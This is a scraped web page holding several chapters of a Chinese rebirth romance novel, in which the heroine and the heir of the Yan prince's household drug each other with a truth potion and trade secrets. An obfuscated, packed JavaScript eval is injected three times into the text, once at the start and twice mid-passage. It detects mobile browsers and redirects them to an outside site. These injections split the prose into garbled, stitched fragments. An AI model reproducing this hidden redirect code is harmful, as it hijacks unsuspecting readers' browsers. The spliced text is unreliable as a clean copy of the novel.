;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418727|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景秀美,几人有说有笑,一会儿说这朵花开得好看,一会儿说那片林木要修剪修剪。 沈衔月没有欣赏的心思,她满脑子都是时玄钧那句,太子和三皇子来江南了。 他们来干什么? 和自己有关吗? 她不知道,自她装疯卖傻,从太傅府脱身的那一刻起,既定的轨道已经被改写,许多事情的发展都和从前不一样了。 上一世,沈衔月至死都不知道时倾尘是燕王府的世子,李元彻同样也不知道时倾尘的真实身份,而这一世,这两个注定的死对头马上就要见面了。 还有太子殿下。 在她的记忆中,太子和三皇子的关系很陌生,似乎不大对付,他们鲜少同时出现,更不要说一块儿来燕王府作客了。 沈衔月不知道这些改变是好是坏。 她垂头绞着手中帕,心里乱得很。 慕容嫣见她迟迟不作声,看她一眼,“容儿,母亲问你话呢,你怎么不答呀。” 沈衔月回过神,扯出一抹笑来,“园中景致怡人,我走神儿了,没听见祖母的话,祖母方才问我什么?” 老夫人今日倒是难得的好脾气,笑道,“昨夜在佛堂诵经,没冻着吧。” “没有,多谢祖母惦念。” 老夫人笑着点点头,她拉起沈衔月的手,絮絮说了好一会儿的话。 沈衔月受宠若惊,这唱的哪出?比起别人的恶意,她更害怕别人毫无缘由的善意,天知道这善意背后隐藏着什么。 沈衔月就这么战战兢兢地陪了老夫人一路,经过梨花苑的时候,老夫人终于松开了手,慈爱一笑,“容儿啊,既然回来了,就把这儿当成自己的家,短了什么东西,受了什么委屈,都只管来慈安堂和祖母说,祖母会为你做主的。” 慕容嫣笑着附和,“是呀,咱们都是一家人,容儿不要外道才是。” 沈衔月心里直打鼓,她才不信老夫人会一夜之间对自己改观,更不信慕容嫣会愿意接纳一个青楼女子的女儿,但她还是装作感激涕零的样子,恭恭敬敬地道了谢。 一进梨花苑,沈衔月立刻命人去找莺儿,派去的人还没回来,莺儿倒先回来了。 “姑娘,你没事吧?世子殿下的人把我扣住了,我好担心你啊。” “没事没事,莺儿,我问你,你在老夫人和燕王妃那儿可有能说上话的人?” “姑娘这话可是折煞我了,我就是个做奴婢的,哪有这么大的本事。” “只是打听,倒也不用多大的本事。” 莺儿思忖道,“燕王妃那儿我不太熟,老夫人房里有个侍女叫翡翠,是我三叔家未过门的媳妇,明年就嫁过来了,姑娘若有事情要打听,我倒是可以去问问她。” “那太好了。”沈衔月从腕上褪下一个金镯子,想了想,又觉得不妥,自己开了抽屉,从里面寻出了几块金银,嘱咐道,“莺儿,你找个没人的地方,把这个塞给她,就说劳烦她帮忙留个心眼,听听关于我的事儿,但不要说这金银是我给她的,她若问起来,你只说自己跟着姑娘,怕以后没有好出路,才劳烦她帮忙留神。” 莺儿人小鬼大,一听就明白了,大家各为其主,若是沈衔月找翡翠打听事情,翡翠心里难免忌讳,若是莺儿说是为了自己的私心,翡翠也就没什么好遮拦的了,横竖她都要嫁人了,顺水人情的事儿,能帮,她自然是愿意帮的。 “姑娘放心,我这就去找她。” 13. 找解药 十三、找解药二人皆是一副衣衫不整的模样 沈衔月用过晚膳,在梨花苑的院子里漫无目的地闲逛。 蝉鸣声声,夏风清凉,弥漫着一层淡淡的梨花香,她倚着燕亭的美人靠,慢悠悠摇着团扇,眯眼思索着白天的事情。 风起。 廊下悬着的碎玉片子玲玲作响。 沈衔月心里陡然一惊,太子和三皇子来江南不会是为了自己吧?难道他们发现了什么线索? 不对,三皇子或许能做出这种事来,但是太子殿下绝对不会,太子殿下为人端方,行事稳重,他来江南,来燕王府,一定是另有打算,她正琢磨着,忽然嗅到了一缕好闻的香气,这是松月香—— 沈衔月睁开眼。 时倾尘站在她的身侧,眸色漆黑深邃,神情冷静肃然,她唬了一跳,下意识往后缩了缩,结果头一不小心磕在美人靠上,痛得她“诶呦”一声。 时倾尘没忍住笑,戏谑道,“我长得很可怕吗?怎么把你吓成了这样?” 沈衔月没好气地白他一眼,“你长得挺普通的,不吓人,但你偷偷摸摸出现在别人跟前,不管是谁都会吓一跳的。” “普通?我长得很普通?表妹,你可知,你是第一个这么形容我的人。” 沈衔月存心气他,“你呢,乍一看还不错,但看久了也就那样,没什么新鲜感。” “看久了?”时倾尘俯下身子,定睛注视着她的眼睛,“表妹,你是前日才入的燕王府,我们相识不过三天,这也算久吗?” “怎么不算,你没听过吗,一日不见如隔三秋,我们认识三天,也就是六年啦。” “笨蛋,按你这个算法,明明是九年。” 沈衔月执拗地说,“不,是六年。” 时倾尘嗤笑一声,“信口开河,胡说八道,你是本世子见过的最能胡诌的人。” 沈衔月别开脸,他自然不会知道,上一世有那么一个傻姑娘,爱了他许久许久。 时倾尘拢了拢衣袖,在她身边坐下,“表妹,你会喝酒吗?” 沈衔月微怔,“会一点。” 时倾尘拿起桌上的银酒壶,徐徐斟了两杯酒,“陪我喝一点。” 沈衔月接过酒,假装抿了一小口,她正好想打听太子和三皇子的情况,这么好的机会,她当然不会放过。 “表兄今日招待贵客,还顺利吗?” 时倾尘仰颈饮尽杯中酒,言简意赅地说,“挺顺利的。” “他们为什么来燕王府呀?” 时倾尘已经抬手去斟第二杯酒了,他听了这话,笑着扫她一眼。 “表妹,你怎么不喝呀。” 沈衔月只得皱着眉头,将杯中酒饮尽,酒烈呛喉,她忍不住咳嗽了起来,他极其自然地抬手帮她顺背,她有一瞬间的失神,这样平常这样轻松的举动,他上一世从未对自己做过。 时倾尘也愣了一下,他不明白,他们两个明明才认识三天,可她给他的感觉却像是认识了许久的故人,他默默收回手。 “表妹知道今日的那两位贵客是谁吗?” “是谁?” “太子殿下。” “太子殿下为什么要过来呀?” “太子殿下摆驾燕王府,是为了寻找有关建安盟的线索。” “建安盟?” “建安盟是南朝流传下来的一个情报组织,创立者思慕建安七子的风才,故名‘建安’,在历经了百余年间王朝兴衰更迭的风云之后,建安盟规模不断扩大,传到大徵这一代,已经建成了四海八荒最负盛名的情报网络,对于太子殿下而言,建安盟的重要性不言而喻。” 沈衔月自然明白这个道理,太子虽然是大徵的储君,但是事无绝对,在波澜诡谲的朝局之中,太子不能不为自己多寻一份保障,她点点头,又问。 “不是说两位吗?还有一位呢?” 时倾尘别有深意地看她一眼,“是啊,还有一位,这也是我今晚来找表妹的原因,表妹,你可听说过李元彻这个名字?” 沈衔月把头摇成了拨浪鼓。 “李元彻?没听过,不认识。” 时倾尘挑眉,“是吗?那为什么他要我帮忙寻找的那名女子和表妹你如此相像?” 沈衔月呼吸一滞,“你说什么?” 时倾尘的神情依旧温和,平静,不带一丝情意,月光之下,他负手而立,“告诉我,你究竟是什么人?你为什么会认识三皇子?你来燕王府有着什么目的?” 不好。 沈衔月想要起身喊人,却发现自己的身子软绵绵的,根本站不起来,她的目光扫过酒盏,突然反应了过来,“时倾尘,你这个卑鄙小人,你居然在酒里下药害我!” “表妹,我无意害你,我只想知道,你到底是谁?”他垂眸,望向她的眼神中添了一二分迷惘,“又或者,我不该叫你表妹,而应该叫你,衔月?” 沈衔月头痛欲裂,“时倾尘,你给我下的什么药!” “能让人说实话的药。”时倾尘俯下身子,风吹起了他鬓边的一缕碎发,她白皙的颈项上多了一抹绯红,他垂眸看着那抹绯红,喉结无意识地滑动了一下,清冷魅惑的声音在她的耳畔回响,“告诉我,你究竟是谁?放心,只要你说实话,我不会对你怎样的,相信我。” 相信你? 鬼才信! 沈衔月当然不肯说,她咬着牙,心里有了一个好主意。 她可怜巴巴地仰头看他,“我好难受,我会死吗?” “只要你说实话,我马上给你解药。” “好,我说,我是……” 她的声音忽而低了下去,整个人向后仰倒,眼看就要摔在地上。 时倾尘下意识抱住了她,她莞尔一笑,随即勾住他的脖颈,仰脸吻了上去。 酒香、花香、美人香。 月影、枝影、婆娑影。 时倾尘醉了,他不知道,让自己醉的是酒,是药,亦或是她…… 其实在她吻上来的时候,他原本有机会逃脱的,但他放弃了,冷白色的月光之下,他的唇角泛起一丝自嘲的笑,他明知道她吻自己是为了让自己也中毒,可他还是由着她吻了上来。 药效发作很快,衣裳随风飘曳,天地上下颠倒,他眸子里的星辰尽落,一点点坠入她的眼眸,在倒地的一瞬间,他用自己的身体护住了她,没让她受到半点来自地面的撞击。 沈衔月的意识已经接近混沌,她伸手摸他有没有受伤,却不小心摸到了他衣衫半落裸露出来的锁骨,时倾尘感觉到颈间滑腻冰凉的触感,下意识垂眸看去,顺着她纤细如玉的手指,凝霜含雪的皓碗,看到了她白皙柔软的后颈。 二人皆是一副衣衫不整的模样。 时倾尘深吸一口气,这要是让人给看到了,不得流言满天飞啊。 不行。 他咬咬牙,试图从怀中取出解药,奈何药效上来了,他根本动弹不得,她感觉到他的动作,有些困惑地看着他,这样子太不雅观了,他怕她误会,连忙解释。 “我怀里有解药,但我拿不出来。” “你身上有解药?太好啦!” 时倾尘不明白她怎么高兴成这个样子,她没听见自己的后半句话吗? 还没等他腹诽完,他就感觉自己身上痒痒的,不是物理意义上的痒,是,心痒。 她用牙齿一点点扯下他的衣襟,鼻尖萦绕的气息扑在纤薄的衣料上。 时倾尘愤恨咬牙,“你在干什么!” 沈衔月一脸无辜,“找解药啊,难道你想让别人看到我们两个这副样子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418728|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时倾尘被她噎住,她的话,他竟无法反驳,他无能为力地看着她轻薄自己……不,寻找解药……虽然知道她确实是在寻找解药,但两个人贴得太近,夏天衣料单薄,她的动作又过于暧昧,他实在没办法不往那个地方想。 沈衔月嗤声一笑,“你怎么这副表情,好像我把你怎么样了似的。” 时倾尘瞪她一眼,“你找到没有?” 沈衔月咬出他怀中的青竹瓶,轻轻吐出木塞,先自己吃了一粒解药,须臾,她果然就活动自如了。 时倾尘见状,忙道,“给我一粒。” 沈衔月才要喂给他,忽又改了主意,她掌心托着药丸,轻笑,“想要?” 时倾尘警惕地看着她,“你想干什么?” 如果眼神能化作刀的话,这会子,她已经被他杀一万次了。 星汉灿烂,月魄朦胧,她垂眸,含情脉脉地凝视着他,三千青丝拂落他的颊侧,酥酥的,痒痒的,他抿着唇,尽力忍受,“给我解药,不然你会后悔的。” 沈衔月似笑非笑,“你在威胁我吗?” 她伸指捻起丸药,当着他的面儿送入自己口中,“想要的话,就自己来拿呀。” “你!” 时倾尘额间冷汗涔涔,药效太猛,他快受不住了,他忍不住骂凤箫,这小子给自己拿的是什么破药,这也太难受了吧!真是搬起石头砸自己的脚! 沈衔月的嗓音说不出的妩媚,“时倾尘,告诉我,你的真实身份是什么?” 时倾尘咬牙,“燕王府世子!” 她往他的怀里蹭了蹭,“我不信。” 时倾尘不受控制地张了张嘴,在药效的作用下,他快管不住自己的舌头了,他咬破舌尖,打死也不让自己把那个秘密说出来,舌尖的疼痛让他短暂清醒了一点,他立刻运功撑起一臂,翻身反压住她,他要她口中的解药,在她怔愣失神的一刹那,他的薄唇覆了上去。 他的吻是那样的霸道缱绻,不可抗拒,她的唇齿间弥漫开一抹甜腥,她不可置信地盯着他,她不明白,究竟是怎样的秘密让他宁愿自损,也不肯吐露半个字。 时倾尘,你究竟是谁…… 松月香的味道在她的唇齿间攻城略地,肆意侵占,酒的香气、药的香气交错交织,滑入他的喉咙,在恢复了一些力气之后,他第一时间放开了她。 时倾尘眼神复杂,一言不发。 沈衔月拂了拂衣裳上沾染的灰尘,打算离开,时倾尘抬臂撑住廊柱,拦住了她。 她笑着抬起下巴,“表兄还没吻够吗?” 他俯下身子,将她整个人罩在阴影里。 “你不是我的表妹。” “万一,我是呢?” 他的眸光微微一顿,终于还是松开了手,无论这个万一的可能性有多小,只有还有这种可能,他就不能不顾及血脉相融的兄妹情分。 时倾尘抬袖拭去嘴角血迹,雪白的衣袖上,绽放着鲜艳刺目的红,他折身步入盈虚飘渺的夜色,背影料峭清寒,声音淡似浮尘,“你最好真的是我的表妹,否则,我不会放过你的。” 沈衔月望着他离去的背影,眸中隐隐泛起泪花,凭什么每次他都离开得如此洒脱,如此决然?她不信,他对自己没有半点情意,否则,方才的吻又算什么? 她想要赌一次。 “你知道李元彻为什么认识我吗?” 时倾尘步子稍缓,回头看她。 “为什么?” 她轻轻一笑,走上前来,她的声音极软极柔,像是被风吹散的云絮,可落在他的心头,却是五雷轰顶,重若千钧。 他几乎不能呼吸。 她的话在他的耳畔不断回响—— “因为……那个与我有过一夜风流的人……就是李元彻……” 14. 真心话 十四、真心话大冒险 他的心乱了。 她在说什么? 时倾尘的情绪不可抑制地爆发出来,他伸手钳住她的下巴,迫使她仰头看着自己,他的声音颤抖,波澜不惊的眸光之下,隐藏着望不见底的万丈深渊。 “梨容,你知不知道你在说什么!” 沈衔月眸光如水,温柔恬淡,她就这么看着他近乎疯狂却又竭力忍耐的样子,心中忽然有了一丝快感,时倾尘,原来,你也会有崩溃的时候。 “我说,我曾与他一夜风流……” 时倾尘真的要疯了,她怎么能?她又怎么敢!即便他心里不愿意承认,可他现在不得不承认,他没有办法接受她和别的男子有过肌肤之亲,更遑论是一夜风流了,没等她说完,他抬指,掩住了她的唇,“不要说了,我不想听。” 沈衔月眨了眨眼睛,他这算什么?掩耳盗铃?自欺欺人? 下一瞬,时倾尘蓦地拉起她的衣袖,雪白的肌肤暴露在空气中,她不觉一惊。 “时倾尘,你这是做什么?别忘了,你是我的表兄,难道你要霸王硬上弓不成?” 时倾尘懒得解释,他垂眸在她的手臂上仔细寻找,终于看见了一个小红点,那是守宫砂,他如释重负地松开她的手。 “骗我,很有意思吗?” 沈衔月挑眉,“挺有意思的。” 时倾尘容色苍白,白得发冷。 沈衔月从未见过他如此失态的样子,不由得愣了一下,“你……没事儿吧?” 时倾尘摇摇头,他怔怔看了沈衔月许久,末了轻叹一声,“既然我们都有不能说的秘密,我们玩一场游戏,如何?” “玩游戏?什么游戏?” 他随手从树梢折下一片新叶,“我们一人选一片叶子,然后比叶子的长短,谁的叶子长就算谁赢,赢了的人可以问输了的人一个问题,怎么样,敢不敢玩?” “这有什么不敢的,比就比,不过你可得说话算数。” 沈衔月踮起脚,也从树上拽下一片叶子,心里默默祈祷着,一定要比他长一定要比他长,她摊开手掌,“来吧,比一比。” 时倾尘把自己的那片叶子和她的那片叶子放在一块儿,微微一笑,“你输了。” 沈衔月不服气地去翻他的袖子,气鼓鼓地说,“不对,你一定耍赖了,你说,你是不是事先把长的叶子藏在身上了?” 时倾尘张开手臂,由着她在自己身上翻来翻去,他垂眸瞧见她忙碌的样子,唇角扬起了一个好看的弧度,“你方才都把我身上翻遍了,有没有,你还不知道吗?” 沈衔月抬头瞧见他戏谑的眼神,这才反应过来他这是在说自己在他身上找解药的事儿,不觉红了脸,“算了,你问吧。” “哦?你认输了?要不我们再抽两次,三局两胜。” “不用,输了就是输了,我输得起!” 时倾尘点点头,眸中颇有赞许之色,“痛快,我想知道,你究竟是谁?” “还能是谁?梨容,你的表妹。” 时倾尘当然不相信,不过,他心想,就算你不说,建安盟的人也一定能查出来,于是他换了一个问题,“好吧,那我问你,你和李元彻究竟是什么关系?你方才为什么要骗我?” 沈衔月咬唇,“我没有骗你,我和他的确有过……不过,那是上辈子的事了……” 时倾尘疑惑地看着她,“上辈子?” “嗯,就像,一场梦一样。”说着,沈衔月抬眸望向他,“你会做梦吗?” 时倾尘微微一怔,呢喃道,“会啊,我经常会梦见一个女子,她和你长得很像,她说她叫衔月,我一直在找她,我想知道她为什么会频频出现在我的梦里,表妹,你能告诉我为什么吗?” 沈衔月摇摇头,“不能,因为这是下一个问题,再来。” “还来?” “当然啦,我还有问题问你呢,快点。” 沈衔月飞快地扯了片叶子下来,“喏,该你了。” 时倾尘只好也摘了一片,这次,他输了,“愿赌服输,你问吧。” “我想知道你的真实身份。” 时倾尘学着她的口气,轻笑,“还能是谁?时倾尘,你的表兄。” “我不信!” “我说的是实话,你若不信,我也没有办法。” 沈衔月思量了一下,“我换一个问题,你的玉佩和骠骑营有什么关系?” 时倾尘眸色陡然一凛,“你怎么知道我的玉佩和骠骑营有关?” 沈衔月伸出食指晃了晃,“现在是我在问你,你不要反问哦。” 时倾尘不作声,二人静默了片刻,沈衔月率先站起身来,“算了,不难为你了,时辰不早了,我要回去了。” “等一下。” “怎么了?” 时倾尘薄唇微抿,似乎下定了极大的决心,“这样吧,我告诉你这枚玉佩的来历和用处,但你也要告诉我,你究竟是谁,我们之间发生过什么。” “好啊,你先说。” “你不会赖账吧?” “当然不会。” 时倾尘思忖了一下,缓声道,“其实,这枚玉佩是我生母的遗物。” “遗物?”沈衔月面有讶色,“你的母亲不是燕王妃慕容嫣吗?” “她是我的母亲,却并非我的生母,我的生母名唤慕容蝉。” “慕容嫣,慕容蝉,她们都姓慕容?” “嗯,慕容嫣算是我的小姨。” 沈衔月仿佛听到了什么了不得的八卦,“啧”了一声,“你父亲还挺有福气的。” 时倾尘深深看她一眼,“我父亲?怎么?他不是你的父亲吗?” “咳咳,你少打岔,你还没说完呢,这枚玉佩和骠骑营有什么关系?” “我的生母曾经救过骠骑营将军一命,做为回报,他答应我的母亲,如果有朝一日,我遇到危险,他愿以命相护。” “哦,原来是这样啊。” “该你了,说吧,你是谁?” 沈衔月清了清嗓子,“不错,我就是你要找的那个人,衔月。” 时倾尘喉结滚动了一下,“你姓什么?你是谁家的女儿?” “表兄,你这话我就不明白了,我都和你说了多少遍了,我是梨容,你的表妹。” “那,你为什么在梦里说自己叫衔月?” “衔月是我的小名,就像你的字一样。” 沈衔月当然不会告诉他自己的真实身份,不过,她也不能完全胡说,一半真,一半假,就让他自己琢磨去吧。 “所以,你叫梨容,表字衔月?” “回答正确。” “可我记得你的小字是‘兰若’,还有,我们之前见过吗?我为什么总会梦到你?” 沈衔月笑了笑,“那我就不知道了,或许你梦里的那个女子并不是我。” 上一世没什么好留恋的,她不愿意再回忆,爱也好,恨也罢,让一切都随风飘散吧,既然他忘了,就让他永远忘下去。 时倾尘默了默。 “那李元彻呢?他怎么有你的画像?你可以不说,但如果你不说的话,我就带你去见他,到时候一切都真相大白了。” 沈衔月羽睫微微上挑,露出眼尾一抹胭脂色的朱砂痣,“你舍得把我交给他吗?” 时倾尘似笑非笑,“有什么舍不得的?你知道,他愿意付出怎样的代价吗?” “怎样的代价?” “江南江北两地三年的赋税。” 沈衔月脸上流露出震惊的表情。 “什么?” 时倾尘目不转睛地盯着她看。 “这样大的手笔,这样大的气魄,他对你,还真是一往情深啊。” “那他说没说,他为什么要找我?” “他说,他的妻子走丢了。” 呃…… 沈衔月刚才还有一丝感动,现在她只想骂娘,妻子?她是他哪门子的妻子?他也太能往自己脸上贴金了吧,臭不要脸! 她深吸一口气,努力平复自己的情绪。 如她所料,李元彻并不敢以寻找太傅之女的名义大肆搜寻,毕竟沈衔月被人“掳走”这件事和他有着脱不开的关系,他若如此行事,难免惹人怀疑,但他知道,如果她还活着的话,一定会来江南,所以李元彻就拿了沈衔月的画像来江南找人。 沈衔月皱眉,也不知道时倾尘反应如何,有没有被李元彻看出什么端倪…… 时倾尘伸手在她眼前晃了晃。 “我问你话呢,别和我装傻,你如果还是不肯说,我就把你交给李元彻,你该知道,这笔赋税意味着多少金银,燕王府可以用这笔金银做多少事。” 他的眼神淡漠凌厉。 她明白他是认真的。 江南江北两地三年的赋税太诱人了,任谁都不可能不心动,他完全有可能为了这笔钱将自己卖掉。 沈衔月只得扯了个慌,“好吧,我告诉你,我的确和三皇子李元彻有过一面之缘,那时候我跟着我的母亲,你也知道,我的母亲……我跟着她难免抛头露面,李元彻就是那个时候认识我的,他想把我囚禁在宁王府,我趁他不备,逃了出来。” “一面之缘,就让他惦念了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时倾尘咳出来两口水,淡淡地扫了凤箫一眼,“我没死,慌什么。” 凤箫探了探他的脉象,确定他没事之后,这才松了一口气,“少主怎么了?” 时倾尘轻描淡写,“乏了,洗个澡。” 凤箫想起方才的情景,一阵胆寒,“少主怎么用冰水洗澡,这也太伤身了。” 时倾尘对凤箫的话置若罔闻,他缓步踱到屏风后面,用方巾拭去脸上的水渍,随手换了件干爽的衣裳。 “怎么这个时辰过来了?什么事?” “上次少主吩咐调查的人有线索了。” 时倾尘换衣裳的手一滞,他披着外袍走了出来,“说。” “梨容是燕王的私生女,也就是您的亲妹妹……”凤箫说到这里,偷偷瞄了时倾尘一眼,见时倾尘没什么反应,他继续说,“梨容一直住在红袖阁,几个月前,她的母亲害病死了,燕王派人接她回府,他们一行人路上遇到了燕王妃的截杀。” 时倾尘眸光微动,“然后呢?” 凤箫咬咬唇,“然后,梨容被人救下,救她的人是前些日子太傅府走丢了的女儿沈衔月,也就是您要找的第二个人。” “她姓沈?她是沈太傅的女儿?” “是。” “她不是被人掳走了吗?怎么会一个人出现在江南,又那么巧地救了梨容?” “的确很巧。” “她人呢?” “死了。” “死了?消息属实吗?” “建安盟做事仔细,想来不会出错。” 时倾尘神情倦怠,他自然知道建安盟的消息不会有错,他只是觉得造化弄人。 他被梦里的那个女子困扰了许久,如今好不容易找到了一丝线索,却又被告知这个人已经死了…… “凤箫,你悄悄去红袖阁和太傅府一趟,我要拿到这两个女子的画像。” 凤箫迟疑了一下,“少主,能否容属下多嘴一问,少主为什么……” 时倾尘冷冷打断了他,“不能。” 凤箫无奈,只得应了一声“是”,他单膝跪地,恭恭敬敬地奉上玉佩。 “少主不愿说,属下不问便是,只是这样的事情不宜外传,属下还是自己往长安跑一趟吧,不必劳烦建安盟的人了。” 时倾尘点点头,他拿起玉佩,收在怀中,“也好,辛苦你了,路上小心。” 15. 灯花笑 十五、灯花笑不做妾 太傅府,凤箫屈指吹了个口哨,须臾,风鹤破空而来。 凤箫咧嘴一笑,“风鹤哥哥。” “怎么样?燕世子相信了吗?” “我按你教我的话说了,他似乎信了,又似乎没信,他要我找到梨容和沈衔月的画像,我想,他可能还没死心吧。” 风鹤蹙眉,“画像?那你就把梨容的画像和我家姑娘的画像掉个个儿。” “好,我知道了。” 风鹤拍了拍凤箫的肩膀,“谢谢你,以后有什么我能帮上忙的,你只管吱声。” 凤箫摆摆手,“哥,你说什么呢,当初若不是你,我早就没命了,我帮你也是应该的,只是我不明白,为什么你都查到沈姑娘的下落了,却还帮她隐瞒?谁不知道,为了沈姑娘的事情,整座长安城都闹翻天了,就连三皇子都跑到江南去了。” 风鹤没作声,他凝望着黑夜在屋檐下垂落的一大片阴影,回忆起第一次受罚时的情景,那夜,雨下得很大,他被罚跪在院子中央,膝盖上的旧伤火辣辣地疼,电闪雷鸣之际,一把青竹伞撑在了他的头顶,撑伞的那只手莹白如玉,他顺着纤细柔弱的手腕,看到了撑伞的她。 纤纤雨丝中,她的脸庞圣洁干净。 对于风鹤而言,她是他人生中的一道光亮,他将这份恩情牢牢记在了心里,从那日起,他就在心底默默发誓,他一定要尽自己所能,让她快乐。 凤箫伸手在他眼前晃了晃,“喂,哥,你想什么呢?” 风鹤从回忆中缓过神来,他仰头望着月亮,“因为,她不快乐,我想让她快乐。” 凤箫皱了皱眉,他从小和风鹤一块拜师学艺,风鹤长他几岁,武功又好,凡事都是风鹤罩着他,他见惯了风鹤云淡风轻的样子,也自认为二人惺惺相惜,是为平生知己,可这一刻,他忽然就不懂风鹤了。 风鹤不愿多说,他一个飞身遁入夜色,清越的声音随之扬落。 “谢啦,改日请你喝酒!” * 李元彻在江南的这几日,一直歇在时倾尘为他们准备的别苑里。 夜色寂阑。 案上的灯花爆了又爆。 李元彻心绪繁杂,眉头紧锁,他冷冷瞥了一眼灯花,扬袖灭了烛火,屋中一下子变得漆黑异常。他找沈衔月已经找了很久了,江南一带大大小小的客栈,酒馆,甚至是青楼这样的风月之地,他都派人仔细搜寻,可最终还是一无所获。 此刻,李元彻一扫白日里的嚣张气焰,颓然地跪在窗前,絮絮叹息,“衔月,你究竟在哪里……” “咚咚咚——” 李元彻不耐烦地喊了一嗓子,“谁啊?” “三弟,是我。” 这是太子李元洵的声音。 李元彻咬咬牙,还是起身开了门,“这么晚了,太子殿下怎么过来了?” 太子往屋内觑了一眼,纳罕道,“三弟,你怎么不掌灯啊?” 李元彻抬手撑着门框,挡住了太子的视线,“不喜欢,怎么,太子殿下有事?” 太子皱了皱眉,这段时间以来,他三弟的脾气越发古怪了,暴躁易怒,动不动就发脾气,前些日子还出言顶撞了父皇,被申饬了以后也丝毫不见收敛,大有一副破罐子破摔的样子。 这次他领了旨意,来江南寻找建安盟的下落,顺便也回外祖家探探亲,这本来是一趟很轻松愉快的旅行,结果被李元彻知道了,非要跟过来。 思及此处,太子肃了肃神色。 “三弟,你来江南也有一些时日了,我不管你是为着什么来的江南,你既然来了,总得去见一见燕王府的人吧,别人也就罢了,燕世子可是江南有名的清贵公子,又是燕王府的独苗,你不见怎么也说不过去,燕世子见不着你的面儿,托我来和你说一声,三日后,他在杏花村的天字号设宴邀请你我二人共饮。” 李元彻自从到了江南,还一直没有见过时倾尘,李元彻重生后的第一件事就是追查茶商时家二公子的真实身份,时倾尘在江南一带容貌昳丽,惊才绝艳,只是鲜少以燕世子的身份出现在世人跟前,因此李元彻费了好一番功夫才查到此人。 百余年前,燕王的大旗纵横四海,威慑八荒,但是当燕北十六州失守沦丧之后,燕王的府邸从雪虐风饕的燕北十六州撤到偏安一隅的江南水乡,燕王子孙也随之淡出了人们的视线。 彼时的燕王时玄朔深知李氏皇族的猜疑忌惮,他将“时”姓赐给了麾下的所有将士们,这不单为来日夺回燕北十六州保留了一线生机,更变相保护了时氏一族的子孙,李氏皇族再也没有办法完全灭掉“时”氏,由此,“时”这个姓氏在大徵境内十分普遍,时倾尘在上一世以茶商之子的身份出入长安,也并未引起别人的怀疑。 时玄朔膝下无子,他死后,他的弟弟时玄钧承继燕王爵位,不同于时玄朔,时玄钧一直耽于享乐,游山玩水,更是让李氏皇族几乎忘记了江南燕王后人的存在。 时倾尘平素低调,在大小宴席上皆以茶商之子的身份露面,因此世人只知时家二公子,殊不知他就是燕世子,李元彻也未曾想到,他的背后竟然是整个燕王府。 李元彻不自觉握紧了拳头,如此一来,想要杀人就难了,哪怕重活一世,他还是深恨着时倾尘,上一世就是这个人完完全全占据了沈衔月的心。 他有多爱沈衔月,就有多恨时倾尘。 李元彻唇角勾起一丝森冷的笑。 “见,自然是要见的,不光要见,我还要送他一份大礼。” 太子不解地看着李元彻,“什么大礼?” “太子殿下莫急,到时候,自然就知道了。”说完,李元彻“砰”的一声把门关上了,他慵懒不屑的声音传了出来,“时辰不早了,我要休息了,太子殿下请回吧。” 李元彻关门的动作极其粗暴,凌厉的风呼啸而出,像是一把利剑直充面门。 太子掩袖轻咳。 “本宫不与你计较,但本宫希望,你不要在三日后的宴饮上丢了皇家的颜面。” “哼,太子殿下用不着担心,我若真闯出了什么祸事,父皇责骂的也是我。” “三弟这话就差了,你我手足,怎么会分彼此,你若受罚,我怎么能不难受。” “哈哈哈哈哈,太子殿下入戏也太深了,平时在父皇跟前装一装也就罢了,此刻在江南,天高皇帝远,你何必作出这么一副手足情深的样子,没得叫人恶心。” 太子为人端庄持重,喜怒哀乐从不外露,他听了李元彻的这番讥讽,脸上依旧不见一丝怒容,他什么话都没说,只是微微一笑,转身离去。 屋外的脚步声渐远,李元彻阖上眼睛,兀自坐了一会儿,四下无人,安静得可怕,他在这蚀骨的岑寂中感觉到了一丝绝望,几乎要喘不过气来。 李元彻抬手推开窗子,湿冷的风拂落萧瑟的叶,在院中洒下一地的斑驳光影,像是一个望不见底的深渊,吞噬着世间的所有,他借着清冷的月色,攥紧了案上沈衔月的画像。 画上,沈衔月淡淡笑着,这份笑落在他的眼里,仿佛是无声的嘲讽。 他的手指向内蜷缩着,他想抓住些东西,却又不敢抓得太紧,画像的边缘被他攥出细微的褶皱,他凝视着画像上沈衔月的笑靥,薄凉的唇抿成了一条紧绷的线。 “衔月,这一世,我一定要让你忘了他,爱上我,不管你跑到哪里,就算掘地三尺,我也一定要把你找出来!” * 三日后,梨花苑。 沈衔月醒来的时候,感觉头有点晕,她望了眼蒙蒙亮的天空,意识到起早了,她掩面打了个呵欠,又眯了一小会儿,估摸着时辰差不多了,这才掀衾下榻。 “莺儿,我们去给老夫人请安吧,宁可早些,也别迟了。” 莺儿应了一声。 二人出了梨花苑,不紧不慢地往慈安堂的方向走,莺儿瞧了眼四下无人,笑道,“昨日姑娘回屋之后,把我们都给撵出来了,有件要紧事,没顾上和姑娘说。” 